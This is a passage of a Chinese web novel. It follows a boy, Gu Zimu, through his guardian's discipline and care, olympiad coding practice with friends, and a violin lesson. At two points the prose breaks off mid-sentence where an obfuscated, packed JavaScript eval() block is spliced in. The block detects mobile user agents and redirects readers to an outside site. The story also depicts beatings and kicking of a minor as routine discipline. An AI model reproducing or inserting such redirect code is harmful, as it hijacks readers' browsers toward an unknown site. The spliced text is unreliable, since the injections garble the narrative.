“爸,筷子是银的诶!”他小声抱怨一下,不过一抬头看到顾仲景微微上挑的眉毛,又不敢多话,只好大口大口吃饭。不料又被抽了一下,终于忍不住了:“爸,吃饭呢!” “哪有你这样大口大口吞的,小心噎着!” 得,顾梓聿只好安慰自己:他是长辈,我是晚辈,长辈要教训晚辈,总是能找到理由的。 一顿饭很快就吃完了,顾梓聿洗了碗,冲了澡,才进了书房。 “最近有什么事要和我说的?”顾仲景合上手里的文件,向后一躺,眼神落在男孩脸上,问道。 “嗯,除了邮件里面有提到的,还有,嗯,今天我在吴老师那里被训了。”顾梓聿眼神飘忽不定。尽管他认为自己没有错,不过还是要实话实说。他又补了一句,“还见到了师兄,就是那位很有名的小提琴家宋熙和,他倒觉得我拉的还好。” 男孩给自己小小地找补一下,以往自己在吴老师那里被训,回来总是要被再罚一顿的。这次不知道会是怎样,他有些后悔自己刚才吃太饱。 “这件事吴老师和我沟通过了,他说你现在需要换一位更适合你的老师,宋老师会带你一段时间,他还给你求了情,所以我今天不会罚你。不过你要记得,做事情前先过过脑子,吴老师年纪大了,身体又不好,你要是把他气出个好歹,你就是后悔死也来不及了。” “是,我记住了!”侥幸逃过一回罚,顾梓聿的眼睛都亮了起来,看得顾仲景一阵好笑。他想了想,孩子这么乖,自己能少打点还是少打点,毕竟孩子大了,也是有自尊心的。 “过来,趴我腿上。” 顾梓聿顿时脸耷拉下来——不是说不打了吗,怎么说翻脸就翻脸。他磨磨蹭蹭地走过来,被顾仲景一把摁倒,扒下裤子。顾梓聿手撑着木地板,哼哼唧唧地,脸又烧红了,他只感觉到身后顾仲景的手指在自己的伤处摁来摁去,忍不住痛,还是低哼出声。 顾仲景倒是表情严肃:这已经是第二天了,顾梓聿的伤处还是青紫青紫的,许多淤伤、肿块都还没有消,很多地方也有破皮,部分伤口有了轻微感染的迹象。他从抽屉里拿出清创喷雾和抗菌的药膏,用棉签细细地避了破皮的地方涂抹,却还是弄痛了男孩,冷汗透了出来。 “你这老师下手也太重了点,这个填涂卡的错误,确实是愚蠢了点,换我也得揍你,但值得这么大动干戈吗?还有这个化学竞赛,国家二等奖已经很好了嘛,我看他就是过于严苛。” 不对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266188|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 顾仲景嗅到了点熟悉的令人厌恶的味道——施加超出平均水平的、过于严厉的惩罚,像是在借题发挥,醉翁之意不在酒。如果他的感觉是对的,那顾梓聿只是正好有错误撞到程琤手里了,这顿打他迟早要挨——军部就喜欢靠这套手段筛选、操控年轻的备选目标,能经受住这一切的,最后都会被洗脑洗的干干净净,成为暴力机器的完美零件。 “提醒你,你这位老师,你最好离他远一点,他有可能是军部的人。如果真是像我推测的那样,教书只是他的掩护身份,他真正的任务是为军部挑选国防生,他们挑苗子,都得打服了拧顺了,为了你自己好,日后别在他跟前太显眼。” 顾梓聿没有回答,顾仲景也就当他听进去了。 直到地下已经积了一小滩水,顾仲景这才觉得不对,扶起男孩一看,男孩紧闭着眼,脸上还有眼泪。 “怎么回事?”顾仲景有点不高兴,“自己不懂得上药,现在痛是自找的,你哭什么?” 顾梓聿摇摇头,喉咙像被什么堵住了一样,半天说不出话来。 他哭不是因为痛。 他一直以为程琤是真心关心他,督促他、教导他,是因为希望他变得更好。可现在,如果——那不是关心,而是一种控制的手段。 委屈、愤怒、震惊……所有的情绪交织在一起,他跪坐在地,声音微微颤抖:“可是……我以为……” 他以为自己是被在意的,哪怕方式严厉了些,可至少……至少那是为他好。 “…我原来只是觉得,自己辜负了老师的期望,觉得很惭愧。我已经很努力了,可好像…还是什么都做不好。” 但现在,他低着头,找不出话语来形容自己的伤心和失望。如果自己挨的打只是对方操控他的手段,那程琤那句把他当弟弟,又算什么。 顾仲景倒是怔住了:他这辈子未曾娶妻,也不懂得怎样带孩子,只是受了重托,想要一心一意把顾梓聿带大,让他平平安安地过了一生,也就对得起唐大哥和晴姐了。 他自己幼时养在祖父母身边,老人的疼爱把他宠成了一个骄横蛮野的小少爷。老人去世后,他因着自己的脾性不知吃了多少苦头,也是在黄荆棒下才慢慢移了性情。因此凡是顾梓聿犯了错误,他便狠心下手教训,做错了便是打,生怕自己太过纵容溺爱,会养歪了这孩子。 孩子成长中哪有不犯错的呢?说到底,顾梓聿毕竟不是他当年那样顽劣的性子,在他这样严厉的棍棒教育之下能长得温文知礼,正直善良已经算是很万幸了。他不由得头一次反省起自己的教育方式,或许就是因为自己太过严厉,顾梓聿才会如此顺从,对所有师长的角色给予的训口诫都照章全收,这对他来说也不是好事。 顾梓聿也不敢乱动,只在原地一动不动地跪着,不久后顾仲景回过神来,扶他起来,帮他提了裤子,温言道:“好孩子,你已经很优秀了,我为你骄傲。你父母也一定是这样认为的。” 闻言,顾梓聿迅速红了眼眶,鼻子发酸,喉咙也堵的厉害。他不再说话,而是一头埋进眼前男人的胸膛,贪恋那一点温暖。 两人又絮絮叨叨地讲了许多,终于顾梓聿被粗暴地赶上床休息。他满足地用被子蒙住头,安心地入眠。 是夜,凌晨三点。窗外的黑是浓得化不开的墨,只点缀了寥寥几点晨星。妆点着高楼大厦轮廓的霓虹次第熄灭,除了街角的24小时速食店,城市的一切都沉浸在睡梦中。 本就满腹心事睡意浅浅的顾仲景是被一阵又一阵极力压抑的呕吐声惊醒的。他懵了一下,随即清醒过来,急忙起身披上厚外套,悄悄地走进顾梓聿的房间: 盥洗室里,男孩撑着洗手台,一边干呕,一边喘息。他用右拳紧紧抵住胃部,并没有注意到男人就在身后,只是闭着眼,倚在瓷砖墙上,等待着喉咙深处传来的痉挛般的绞痛慢慢平复。 男人轻咳了一声,顾梓聿猛地一回头,却像是十分地惊惶,没有伸手去接男人手里那杯温水,而是先打开水龙头,急着要把那些呕吐物都冲下去。 顾仲景觉出不对,几步上前关了那水龙头,打开灯,定睛一看,心下一冷,这才发现那些未冲干净的秽物里还夹杂着咖啡色的污块,应是胃内有陈旧性出血,在灯光下显得触目惊心。 他细一思量,眼角微敛,已是气不打一处来:自己不过出去两个星期,家里也请了厨艺好的帮佣,这孩子的胃怎就落得如此地步?若是他珍爱自己的身体,好好的年轻人又怎会蹉跎至这般?这些年自己的心思简直都白费了! 几个小时前才刚刚下定决心“教育孩子要温柔点”的顾仲景心火一起,想着“既然你不爱惜自己我也不会爱惜你”狠狠一脚将顾梓聿踹到地上,冷冷问道:“怎么回事?” 纵使在顾仲景查看呕吐物时就已经抱有诸如“既然已经知道了那么再瞒也没有多大意义不如破罐破摔早死早超生”此类念头,那力道十足的一脚着实让顾梓聿打消了这个念头:如果顾仲景知道自己不但前些天饮食不规律,而且今天没吃早午两餐还喝了一打冰啤,那自己的小命估计就交待在这里了。恐怕得三两天爬不起床吧? 忍着那沉沉的钝痛,他嘴硬道:“这我哪里知道?这些日子我真的有好好吃饭、好好睡觉的呀。”说着又真的带上几分委屈,软软道:“爸,我胃好痛哦。” 顾仲景怔忡地望着眼前的男孩,仿佛透过他看到了另一个人的影子——那女子温柔娴雅,笑靥如花,如水般清亮的眸子中盛着满满的暖意,她望着他,他们之间却似隔了千百年的距离。她微微笑着,说着什么,那口型依稀是:“阿景,我和维均的孩子就拜托你了。” 顾仲景一时间心中大恸,责骂的话竟说不出口。只忍了心头酸痛,强扶了男孩起身。顾梓聿本来就因怕被识破而心下惴惴,眼见着顾仲景似乎是不准备追究了,才稍稍放下心来,装作困倦至极的样子,揉揉眼睛,道:“…那,爸,你今天也很累了,回去睡吧?” 顾仲景没理他,只是把他摁进被窝,又掖好被角,把温水放在床头柜上,然后沉默地坐在一边,与夜色融为一体。 男孩最初还有些慌张,虽紧紧闭着眼睛,睫毛却颤抖地不停。摸摸他手脚实在冰得瘆人,顾仲景去了厨房,热了点鸡汤,下一小把面线,强逼了他吃下去;又不顾男孩爱面子的挣扎,塞了一个热水袋进去。 许是这些天实在累得慌,久久积累的疲倦一齐爆发,男孩很快就进入了梦乡。 8. 冬假伊始 盼望已久的冬假终于来临,学生们的心情也随之快乐了许多。终于考完了所有的大试小试,卷子也讲完了,一大包作业也背回家了——这不就跟学校说拜拜了吗! 冬日的暖阳透过窗帘洒进了房间,虽然是隆冬,但鹿城的天气依然不算寒冷,空气中带着些许湿气,轻轻拂过脸庞,像是春天提前来临的讯息。 姜明珺伸了个懒腰,又在床上滚了滚。明明已经醒了,却依然不急着起床。她懒洋洋地待在被窝里,只眯着眼睛看着窗外—— 街道上绿意盎然的行道树依旧保持着生气,枝叶在温暖的阳光下闪烁着微光。虽然鹿城的冬天没有雪花,跟帝都比起来,少了些许节日的气氛,但她还是很满意今年家里留在鹿城过年的决定。 她随手摸到床头的闹钟,昨晚她特意取消了平时的定时,发现现在竟然已经接近十一点,才恍若惊觉,心想:“难怪肚子有点饿。” 早上的懒散和舒适让她忘记了时间的流逝。她轻轻地掀开被子,想要起床,却又觉得这个床的温暖太过诱人。 “哥,哥——”她喊了一声,声音带着几分撒娇和依赖。 没有回应。 她才意识到,姜明祎应该是回学校上竞赛课了。 确实,冬假的时候竞赛生也需要照常返校的,只有新年那几日可以休息。她心里一阵无奈,主要是姜明祎这个人上竞赛课的理由真的很奇怪:比如,他不是因为自己真的喜欢,或者为了升学加分才搞竞赛,他只是因为朋友都参加了,自己也跟着参加,美其名曰,“舍命陪君子”。 听听,这多没有主见,要是她,这么花时间的事情她才不参加。有这时间,去书店的咖啡角,翻翻新到的书,这才叫惬意。 姜明珺揉了揉眼睛,懒洋洋地窝回床上,觉得自己也不应该赖在床上太久。没哥哥帮她拿吃的,她只好决定自己动手了。她翻开被子,懒洋洋地从床上爬起来,走向厨房。看着冰箱里剩余的食材,那就做个简单的三明治吧! 早餐做好了,她坐在餐桌旁,打开电视,随意放着一些无聊的综艺节目,全当背景音。她一边吃,一边想着老哥在学校吭哧吭哧皱着眉头听课受苦的样子,不禁噗嗤一下笑出声来:哥哥是舍命陪君子了,但顾梓聿应该如鱼得水、乐在其中吧?反正他就是纯纯一个大变态,也不知道他的脑子是怎么长的。 这些年,姜明珺跟着他们俩一起长大,那些顾梓聿令竞赛党“闻风丧胆”的光辉事迹她早已倒背如流: 顾梓聿因为超常的天分,在还是小学生的时候就和中学生一起上竞赛课,开始超前学习竞赛知识。初二时,他拿到了物理奥赛 CPhO 全国一等奖,入选了国际物理奥林匹克竞赛 IPhO 的国家集训队。要知道,国际物理奥林匹克竞赛是世界上最高级别的竞赛,主要面向不超过20岁的中学生,但还在读初中的顾梓聿却做到了。 更变态的是,顾梓聿在集训期间坚持做数学奥赛题,其间请假参加数学奥赛 CMO 决赛,又获得了全国一等奖,入选了数学国家集训队。 而这,不过是他初二上学期的事。 最令那些苦命的竞赛党难以置信的是,在两个国家集训队封闭训练时间部分重叠的情况下,顾梓聿靠着部分自学、请假考试,最终在两个集训队都留到了最后:他是数学 IMO 国家队的六分之一,和物理 IPhO 队的五分之一。若不是最终比赛时间冲突,导致他不能同时参加两项竞赛,他很大概率会同时出现在数学和物理两个学科的国际奥赛中。 最终,顾梓聿选择了留在整体实力较弱的物理国家队,而数学金牌的竞争者们则应该很庆幸自己少了一位劲敌。 在竞赛圈里,他的名字成了一个传说。当时,顾梓聿和4名队友赴索伦参加第43届国际物理奥赛,一名索伦队的带队教练还向他打听“认不认识华纳一个很有名的、在数学竞赛方面很强的Gu”。当得知“Gu”就是眼前这个少年时,他还非常疑惑地询问,是否“Gu”走错了赛场。 而顾梓聿在物理竞赛中同样捍卫了他的名声:他在368名选手中获得了金牌第一名。 更夸张的是,顾梓聿在初一和初二时参加的全国信息学竞赛NOI,都入选了国家集训队,只是没有参加后续的IOI。 要知道,IOI、 IMO 和 IPhO 的参赛时间都是背靠背的!也就是说,假如时间精力允许,顾梓聿能同时参加这三项竞赛的话,同时拿到三枚金牌也不是不可能。即便如此,顾梓聿也已经在数学、物理和信息学领域展示了极高的天赋和跨学科的才能。 顾梓聿的竞赛履历堪称传奇,这样金光闪闪的履历背后,他付出了多少,姜明珺看在眼里。虽然顾梓聿在她面前更像一个宽容的大哥哥,但她知道,实际上他是一个对自己要求近乎苛刻的人,这个性格在学术领域也许能有非凡的成就,但他也需要一个能劝他“适当放松”的人,就比如哥哥姜明祎的存在,有点像顾梓聿的心灵按摩师——他更轻松幽默,更能让人喘得上气来。 姜明珺时常想,像顾梓聿这样的人,将来就应该去做基础科学研究,用那种极端的专注力、坚持和探究的精神,解决限制人类发展的科学难题,推动学科的进步和科技的飞跃式发展。 总感觉这样的人的存在,才是人类世界珍贵的财富啊。 人类世界珍贵的财富现在正在焦头烂额中。 倒不是因为竞赛课的强度,纯纯是因为宋熙和——顾梓聿觉得师兄把自己当成了一个准职业小提琴家来培养,该说不说,师兄的成就高,对他的期望更高,简直有点望子成龙的感觉了。 吴老师的态度已经很明确了:除了乐团排练,他现在就是跟着师兄混,但宋熙和这个人真的是闲不下来,在结束了那么繁忙的巡演期之后,他居然每天仍然转的像个陀螺一样。这不,自从第一次见面到今天为止,不过10天,但他们已经见过三次了。 原本他对自己这个寒假的安排只是学校的竞赛课和乐团排练,也因此,他还存了几分可以有闲暇时间和姜明祎去打几场球的“非分之想”。没想到,现在看来纯纯是妄想。 放假到现在,他除了第一个星期天,没晚于过七点起床——多悲惨的假期,顾梓聿已经习惯了。 早上起来先练琴,九点准时到初中部参加信竞的课。十二点最晚十二点半去食堂吃饭,下午按需点课,首先保证师兄的小课,要是师兄不召唤他,他再在物竞/数竞/化竞的课堂上随机刷新出现。 机房内,虽然是大白天的,仍然拉紧了窗帘,室内白色的日光灯照亮了整齐排列的电脑,学生们三三俩俩地坐在一起。屏幕上闪烁着熟悉的代码编辑器以及学校内部的在线评测系统。房间里弥漫着淡淡的咖啡味——这是机房内唯一被允许带进来的“战斗口粮”。 墙上贴着几张醒目的红字标语: “独立思考、不惧挑战!” “要么AC,要么重来!” “算法是一种思维方式。” 讲台的整面白板上写满了各种算法公式、推导过程和伪代码,右半边还残留着模糊的状态转移方程和图论问题的手绘示意图。进门的桌子上摆着好几本厚厚的参考书:《算法导论》、《计算机程序设计艺术》、《挑战程序设计竞赛》,也不知道是谁的,忘记带回去了,在这儿放久了,也就随之成了公用的了,供大家随时翻阅。 顾梓聿和姜明祎常常是一起到的,但张铎总是悄无声息地就已经坐在那里了,谁都不知道他究竟是什么时候到的——难怪他管钥匙呢。然后机房陆陆续续就有人来,大家都很自觉地,来了之后就安安静静地坐在那里开始刷题。傅尧肯定不是最早一批来的,但他也不是最后一个,迟到一哥总是方灵烨。 大家的风格各不相同,有人算得飞快,像是在与时间赛跑;有人停顿许久,陷入沉思,然后突然猛然敲下一行代码。 除了方灵烨。 这小子是真的聒噪,机房里除了键盘敲击声,就是他喃喃自语的声音:“这个 f(n) 到底能不能拆成 f(n-1) + f(n-2) 这种形式?如果可以,那就是 DP,否则可能要用数论技巧……” 他完全沉浸在自己的世界里,幸好周围大家都很nice,没人想把一直发出背景音的他扔出去。 张铎算是冷静型的,他总是戴着森海塞尔的降噪耳机,已经提交了十几次的题,每一次失败都会在代码旁边留下注释:“TLE 可能是 log 的优化不到位?”、“WA,可能是边界没考虑?”他像个机器一样有条不紊地调试代码,直到那行绿色的“Accepted” 终于出现在屏幕上,他才轻轻舒了一口气,揉了揉眼睛,开始看下一道题。 姜明祎的风格算是暴力流,用他的话来说就是“先写个能跑的”。看到一道题如果没有思路,他通常都是“能写暴力就写暴力”,不管算法最优解是什么,先写一段跑起来再说。 “过了吗?”顾梓聿冷不丁甩来一句。 “WA了。”姜明祎摸摸脑门,叹了口气。 “优化了吗?” “在优化呢,把三重循环改二重,直接在外层循环计算和,避免 O(n?),时间复杂度会好点。” 改完,他再次提交。结果还是 WA,他叹了口气,抓了抓头发,朝屏幕翻了个白眼:“我的生命又浪费了五分钟,梓聿,你帮我看一眼呗,就求个最大连续子数组和,这个要怎么做啊?” “这么经典的算法问题求 Maximum Subarray Sum,你是不是上课没听?暴力枚举肯定不行,可以用分治法、前缀和或者动态规划,时间复杂度逐个递减,你选一个吧。” 顾梓聿看着腆着脸凑上来想直接看答案的好兄弟,十分冷酷地转过头:“算法导论里有很详细的解释,自己看书去。” 姜明祎看着顾梓聿的屏幕,直接念出声来:“…某城市有 N 个工厂(编号 1~N),M 个商店(编号 N+1 ~ N+M),需要运输货物。每个工厂最多可以生产一定数量的货物,每个商店需要一定数量的货物。运输货物的费用由路径的单位运费决定,求如何安排运输,使得在满足所有商店需求的情况下,总运输费用最小。” “这是个网络流问题,啊,我最讨厌网络流了…你模要怎么建?” “这是典型的最小费用最大流,需要在最大流的基础上,增加边的费用,找到总费用最小的最大流方案。首先需要添加超级源 S,向所有工厂连边(容量 = 产量),然后添加超级汇 T,所有商店向 T 连接(容量 = 需求),用差分约束系统 SPFA 或者 Dijkstra 计算最短费用路径,用 EK 或 Dinic 增广路径求最大流。” “好的好的,明白了。”姜明祎连忙点头表示自己听懂了——其实他并没有听懂,但为了不让旁边这个疯狂算法怪继续在自己耳边啰嗦下去,他只能装作理解并完全赞同顾梓聿的解题思路,好让他老人家心满意足地回到自己的草稿纸中去。 该说不说,人比人气死人,今天的训练题一共就5题,他俩一起到的,他还在第2题,顾梓聿已经做到最后一题了。虽然目标是尽量在规定时间内完成尽可能多的题目,大家都在埋头苦干。但毕竟规定时间是5个小时呀,顾梓聿你能不能做个人! 傅尧专注地盯着自己的代码,他用的是 Dijkstra,但某个测试点始终报错,磨了很久还过不去,他忍不住低声自问自答:“难道有负权边?可题目说不会有啊?” 顾梓聿在一旁听到了,随口说了一句:“不会是 0 作为权值吧?如果有 0,你 Dij 可能会出问题。” 傅尧愣了一下,迅速修改代码,提交——Accepted! 他不禁心悦诚服地长出一口气:顾梓聿果然还是强。 旁边的黄颖听到顾梓聿的提示,看着自己始终没有思路的题目,还是忍不住发问:“顾梓聿,你动态区间最值查询用的是线段树还是树状数组?” 顾梓聿一边看着自己的伪代码脑子飞速转个不停,一边答道:“看你怎么考虑了,树状数组应该更快,但如果是动态区间修改的话,树状数组可能不太好扩展。你可以两种都试试,看看哪个更适合。” “对了黄颖 ,”姜明祎插了句嘴,“待会儿做出来之后记得分享一下啊,我还没做到那儿呢。” 黄颖点点头,站起来伸了个懒腰,又重新回到座位上认真钻研。 “诶,彭昱呢?怎么没看见他?”姜明祎磨了会儿洋工,突然意识到好像冬假都没看见彭昱的影子。 “他请假回家过年了,可能开学前会回来的早点儿。”张铎的声音闷闷地响起,“顾梓聿,你做到第几题了?” 整间机房里的耳朵都竖了起来。 顾梓聿不好意思地笑了笑:“我今天只待一个上午,所以比较赶哈,你们慢慢来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266189|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “老大,你不是要做完了吧?”方灵烨传来一声鬼叫,“这么凶残?我才刚做完第四题!” 姜明祎看着自己的电脑屏幕——他还卡在第2题。 怎么回事?!明明他比方灵烨早到好吧! 唉,算了算了,早该习惯的不是吗?对身旁这些怪物。 顾梓聿提交了最终答案,屏幕上绿色的“Accepted”幽幽地闪耀。 旁边的陈文坤连忙瞅准时机:“顾神,怎么求这个大数的拆分方案数啊?我刚用递归搜索…” “那题用不了递归!用递归肯定 Time Limit Exceeded, 你这个复杂度都要 O(n!),肯定炸啊!” 方灵烨抢着回答。 “但我加了剪枝!”陈文坤很不服气。 顾梓聿笑了笑:“加剪枝也没太大用,这题应该用数论+母函数,拆成一个组合数学问题,这样复杂度可以做到 O(N^{3/2})。你看看数论的解法吧。” “好嘞顾神,谢谢顾神!” 陈文坤乐呵呵地回去磕题了,方灵烨倒得到了灵感,又开始自言自语:“啊,原来老大是这么解的…我之前用的动态规划,要不重做一遍?” 随着时间推移,提交成功的人越来越多,机房里偶尔零星的两三句交流慢慢变成了交流与讨论的海洋。有人兴奋地说:“我今天突破了,我终于能自己推 DP 方程了!” 有人则捶胸顿足:“这题我明明会,调了一小时 bug!” 顾梓聿看了看表,已经12点25了,他戳了戳姜明祎,“吃饭去?” 天知道姜明祎等这句话等多久了,他几乎是下一刻就从椅子上弹起来:“走,去食堂,谁去谁不去?” 有学生陆陆续续站起来,但也有人沉浸在代码的世界里,铁了心的要把题磕出来。黄颖就直接把自己饭卡给了旁边的朋友,“帮我带个鸡腿堡,谢啦!” 傅尧一向是回家吃饭的,张铎也把饭卡给了姜明祎请他帮忙带饭,方灵烨已经埋头在计算新的优化方案,对他来说,这种思考的游戏永无止境。 行吧。姜明祎裤袋里揣着一兜饭卡,肩负着替大家买饭的重大任务往食堂进发,顾梓聿走在一旁,心已经飞到了食堂的现煮面窗口。 “你想吃啥?”姜明祎问着,心里已经有了答案。 “现煮…” “面!” 见朋友接上了自己的话,顾梓聿笑开了,“知父莫若子啊!” “滚!我才是你爹。”姜明祎拉长了声音,“我就不明白了,你怎么那么喜欢吃现煮面呢?” “好吃啊,又是热乎的,那可是我的冬日续命神器!” 正好现在放假,学校里就他们这些人,他才能有这奢侈的时间来排现煮面,要是在正常的学期日,一进食堂,你准能看见现煮面的窗口排着老长一队,至少能排半个小时。 而现在—— 顾梓聿远远就闻到一股浓郁的汤香,直钻鼻腔,勾得人肚子立刻唱起空城计。他顺着味道走到现煮面窗口前,锅里面条正随着热气翻腾着,他轻车熟路地拿起碗,自己选起配料: 二十几种配料一字排开,简直是食堂界的“豪华套餐”,卤牛肉切得厚厚的,还有红肠、剔骨肉、午餐肉、各式各样的丸子、米血;茶叶蛋、鹌鹑蛋、煎荷包蛋个个都可爱;油豆腐、豆皮、豆干、腐竹,个个都金黄油亮,看着就香,更别提那些水嫩的油菜、菠菜、上海青、空心菜。 配上各式的面:阳春面、挂面、泡面、刀削面、米粉、米线、土豆粉,不一而足。 把配好的豪华面碗递给煮面阿姨,顾梓聿幸福满满地看着雾气升腾,尽管肚子已经开始咕噜咕噜,他仍然很耐心地等着属于自己的小锅咕嘟咕嘟。 “你是不是吃完就要走了?” 姜明祎一只手拎着一堆吃的,另一只手端着冒着热气的盖浇饭,绕到顾梓聿对面坐下。 这家伙已经开始吃他的面了:细长而韧的面条,煮到恰到好处,吃进嘴里还带点弹牙的爽滑感。一颗荷包蛋漂浮在碗里,他还多要了个茶叶蛋,焯水后的油菜,翠绿嫩脆,点缀得刚刚好。就看顾梓聿先喝着一口汤,再嗦一口面,最后满足地眯起眼睛,一脸“人生值得”的表情。 “是啊,我下午师兄约了课,估计两点多就得走。讲评就不听了,不知道今天是宋美人还是老肖?” “你是不是5题都 AC 了?”姜明祎抓住关键点,“不然你今天心情这么好来吃面。” 嘿嘿。顾梓聿翘了翘嘴角,给了个迷之微笑。 “行,你可以,牛逼。”姜明祎显然又忘了眼前这家伙跟自己不是一个物种,“我倒希望今天是老肖,至少他能接受我的暴力流。” 确实,老肖的口头禅就是“先别管优化,先写个能跑的版本”,然后再来些莫名其妙的玄学优化,姜明祎算是完整地传承了他的衣钵。傅尧每次坐在那儿入定的时候,老肖就会凑上去叨叨,“你在那儿想半天不如先把最简单的暴力版写出来,测一测能不能跑,这不是数学推导,跑出来才有意义。” “不过我还是更喜欢宋美人的风格,”顾梓聿又嗦了一口面,嘟囔道,“优雅,极致的优雅,极致的和谐。" "In other words, coding is harmony.” 宋人语是信竞队的总教练,已经带了十多年信竞,变态般地注重代码风格,严苛地要求学生写规范的变量命名、合理的注释。 “哈,你上次不在,太搞笑了,宋美人说方灵烨的天书她看不懂,原话是 ‘这代码你自己过一个月还能看懂?变量名 i,j,k 你要写小说吗?’ 搞得方灵烨一整天都在反复改变量名,你知道他是个英语渣的。” 顾梓聿想象一下宋美人冷着脸毒液狂喷的场景,也不由地笑出声来。 “说好了哈,要是下午是宋美人讲评,你得帮我记笔记,晚上发我。” “行,”姜明祎认命地答应了下来,“你知道我的,我可不敢保证不走神,完全把思路听懂。我把代码给你抄下来你自己回去读行不行?” “当然不行啊!宋美人说的每句话都很重要!”顾梓聿威胁性地掐了掐好兄弟的后脖颈,“记得啊,每个字、每句话!要不然我就陪不了你去打球了。” “哎呦呵,”姜明祎冷冷一句回击,反手一刀直接捅穿顾梓聿,鲜血四溅,“您这个冬假,还能有时间打球呢?” 9. 大师课 吃完午饭,又是帮几个同学解答了点思路,顾梓聿眼看着时间不早了,才依依不舍从机房里出来。 最后还是没等到老师,也不知道来的是哪一位,他确实有点好奇老师给的标准答案会是什么,晚上看明祎的笔记吧。 他背着琴盒,把书包放进自行车前头的车篮里,戴上头盔和手套,往协和音乐厅出发。 这一次,顾梓聿比前两次上课都更加期待:他能感觉到,前两次的课,宋熙和给他打开了一个全新的世界,让他看到了自己更多的可能性。果然,业余和专业之间的差别泾渭分明,宋熙和可是职业独奏家中的明星,就像NBA中的科比,F1中的舒马赫,网球中的费德勒。他给自己的这两节课,就像是托举自己站在巨人肩膀上看世界的机会。 宋熙和的授课地点就设在协和音乐厅给客座音乐家的休息室里,这是一间既舒适又充满历史故事的房间。休息室不大,但布置考究。推开厚重的隔音门,天花板上垂落下一盏黄铜吊灯,光线柔和,恰到好处地营造出静谧氛围。房间内摆放着一架纯黑的施坦威钢琴、几个谱架和几把柔软的天鹅绒扶手椅。房间墙面铺着深红色织锦壁纸,墙上悬挂着数位传奇音乐家的肖像和音乐会的海报, 顾梓聿之前就听工作人员解说过,音乐厅休息室的门都是特制的高性能隔音门,它既要确保室内的安静环境,让音乐家在演出前后得以专注和放松,同时也要防止外界的噪音干扰。这样的隔音门,外层通常是实木,内部则采用多层材料填充,包括高密度纤维板、吸音棉和阻尼隔音膜,为了保证不漏音,门底部装有自动密封条,当门关闭时,密封条会自动下降,填补地面与门之间的缝隙,防止噪音泄漏。 这扇门不仅是音乐家隐秘空间入口,也象征着音乐厅对声音的极致追求。这样高性能的定制隔音门,一扇造价就高达20万华纳币,也即是3万多索伦金。 房间的一扇高窗半掩,推开后,能隐约听见远处音乐厅内鹿城爱乐乐团排练的声音。窗外是一条静谧的街道,夜幕降临时,灯火点缀出一片温暖而遥远的光辉。 顾梓聿在这里上的第一堂课,是音阶的练习。 音阶是多简单的事啊?它是学会拿起琴后,为了熟悉指法和音高,自然而然就跟上的基本练习。 但音阶,又是多难至臻完美的训练?当它不再是干巴巴的音符,它可以被赋予更多的情感色彩。 宋熙和决定第一节课就从最基础的音阶开始,帮助顾梓聿重新理解每一个音符的关系。 “音阶是每个音乐家的根基,它不仅仅是技巧的练习,更是你对音乐结构理解的起点。” “你之前在练习音阶时,是否曾考虑过音符之间的内在联系?” 顾梓聿认真回答:“以往,我只是把它当做一个热身练习,来保证每次开始时左手手指的灵活性和右手持弓的稳定性。我还会注意保持均匀的运弓速度、换弦的稳定性、手指的颗粒性,还有弓子距离琴码的距离和声音的强度。” 他想了想,总结道:“好像就这些了。至于音符本身它们之间的关系,师兄你指的是音程?半音全音这种?” 宋熙和点了点头:“你已经能说出很多变量了,这些都是一个职业音乐家应该考虑在内的。不过,音阶不仅仅是一个个分散的音符。它们是一个有机的整体,每个音符都是互相依赖、相互作用的。你应该感受到每个音符的’引力’,它们之间的内在联系,如何推动你向前。” “音符间的引力?”顾梓聿疑惑地重复了一遍:怎么感觉越说越玄乎了? “一个音阶不仅仅是简单地逐步上行或下行,这是一个动态的变化。” 宋熙和掀开钢琴盖,示意顾梓聿弹奏一个简单的C大调音阶。顾梓聿缓缓地按下第一个音符,音符清脆地响起。宋熙和让他停下来,“从C到D,是一种向上的跃动,继续。” 顾梓聿的手指轻轻移动,每个音符都在钢琴上响起,宋熙和继续说道:“当你弹到E时,你能感觉到它与C之间的连结吗?它并不是孤立的,它是在向F、G、A、B延伸,而每一个音符都引导你向下一个。” “现在拿上你的琴试试。” “现在想着你最开始说的那些要素,”宋熙和的声音低沉,却富有指引性,“它不仅关乎音准、手指的精准,还要掌控弓的流畅度和弦的震动感。记住,在弦上你不仅是在演奏音符,而是在与每根弦的震动、空气的回响、每个音符的跳动建立一种联系。” 顾梓聿微微颔首,慢慢地开始拉起弓,轻轻地划过C大调的第一个音符C。他的左手食指贴在G弦的第三把位上,稍微用力,注意保持音高的精准。弓的动作平稳而流畅,琴弦振动的声音响起。 “很好,但记住,这个音符要有’呼吸’,要有延长到无限长的感觉,它不仅仅是一个点。”宋熙和在一旁细心指导,“你能感受到弓的动作与手指之间的关系吗?不要让你的左手控制了右手,而更多的是,你的大脑应该预先想到手指的落点,然后独立左手和右手的动作。” 